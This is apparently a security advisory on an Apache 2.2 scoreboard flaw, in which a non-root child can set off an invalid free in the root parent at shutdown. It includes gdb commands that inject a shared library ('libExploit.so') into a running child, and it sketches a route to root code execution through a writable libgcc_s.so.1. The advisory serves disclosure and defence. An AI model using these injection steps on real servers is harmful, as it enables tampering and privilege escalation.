Introduction

Apache 2.2 webservers may use a shared memory segment to share child process status information (scoreboard) between the child processes and the parent process running as root. A child running with lower privileges than the parent process might trigger an invalid free in the privileged parent process during parent shutdown by modifying data on the shared memory segment.

Method

A child process can trigger the bug by changing the value of ap_scoreboard_e sb_type, which resides in the global_score structure on the shared memory segment. The value is usually 2 (SB_SHARED):

typedef struct { int server_limit; int thread_limit; ap_scoreboard_e sb_type; ap_generation_t running_generation; /* the generation of children which * should still be serving requests. */ apr_time_t restart_time; int lb_limit; } global_score;

When changing the scoreboard type of a shared memory segment to something else, the root process will try to release the shared memory using free during normal shutdown. Since the memory was allocated using mmap, not malloc, the call to free from ap_cleanup_scoreboard (server/scoreboard.c) triggers abort within libc.

apr_status_t ap_cleanup_scoreboard(void *d) { if (ap_scoreboard_image == NULL) { return APR_SUCCESS; } if (ap_scoreboard_image->global->sb_type == SB_SHARED) { ap_cleanup_shared_mem(NULL); } else { free(ap_scoreboard_image->global); free(ap_scoreboard_image); ap_scoreboard_image = NULL; } return APR_SUCCESS; }

Abort output is written to apache default error log:

[Fri Dec 30 10:19:57 2011] [notice] caught SIGTERM, shutting down *** glibc detected *** /usr/sbin/apache2: free(): invalid pointer: 0xb76f4008 *** ======= Backtrace: ========= /lib/i386-linux-gnu/libc.so.6(+0x6ebc2)[0x17ebc2] /lib/i386-linux-gnu/libc.so.6(+0x6f862)[0x17f862] /lib/i386-linux-gnu/libc.so.6(cfree+0x6d)[0x18294d] /usr/sbin/apache2(ap_cleanup_scoreboard+0x29)[0xa57519] /usr/lib/libapr-1.so.0(+0x19846)[0x545846] /usr/lib/libapr-1.so.0(apr_pool_destroy+0x52)[0x5449ec] /usr/sbin/apache2(+0x1f063)[0xa52063] /usr/sbin/apache2(main+0xeea)[0xa51e3a] /lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf3)[0x129113] /usr/sbin/apache2(+0x1ef3d)[0xa51f3d] ======= Memory map: ======== 00110000-00286000 r-xp 00000000 08:01 132367

To reproduce, attach to a www-data (non-root) child process and increment the value at offset 0x10 in the shared memory segment. The search and replace can also be accomplished by compiling LibScoreboardTest.c and loading it into a child process using gdb --pid [childpid] and following commands:

set *(int*)($esp+4)="/var/www/libExploit.so" set *(int*)($esp+8)=1 set $eip=*__libc_dlopen_mode continue

Without gdb, the mod_setenv exploit demo (2nd attempt) could be used to load the code.

Impact

The impact is very low. Another libc implementation might use the pointer and free another memory chunk, but since apache is shutting down, use-after-free exploitation would be very hard.

Syscall trace during shutdown shows, that at least with default configuration, no essential shutdown steps are left out: removal of pid file and cgisock.xxx are done before the crash. Hence the crash should not leave system in some inconsistent state, but special high availability or IDS scenarios might trigger response to root process crash.

There is a chance to take over the apache root process when run within broken chroot environment, where libgcc_s.so.1 is writable or missing but one of the library search path locations is writeable by lower privileged process. The abort in libc causes the loading of libgcc_s.so.1 shared library, which, when replaced by the lower privileged process, will lead to code execution in the root process:

writev(2, [{"*** glibc detected *** ", 23}, {"/usr/sbin/apache2", 17}, {": ", 2}, {"free(): invalid pointer", 23}, {": 0x", 4}, {"b76f4008", 8}, {" ***\n", 5}], 7) = 82 mmap2(NULL, 2097152, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_NORESERVE, -1, 0) = 0xb74f4000 munmap(0xb74f4000, 49152) = 0 munmap(0xb7600000, 999424) = 0 mprotect(0xb7500000, 135168, PROT_READ|PROT_WRITE) = 0 open("/etc/ld.so.cache", O_RDONLY) = 4 fstat64(4, {st_mode=S_IFREG|0644, st_size=13842, ...}) = 0 mmap2(NULL, 13842, PROT_READ, MAP_PRIVATE, 4, 0) = 0xb76f0000 close(4) = 0 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) open("/lib/i386-linux-gnu/libgcc_s.so.1", O_RDONLY) = 4

Timeline

Material, References

Last modified 20171228
Contact e-mail: me (%) halfdog.net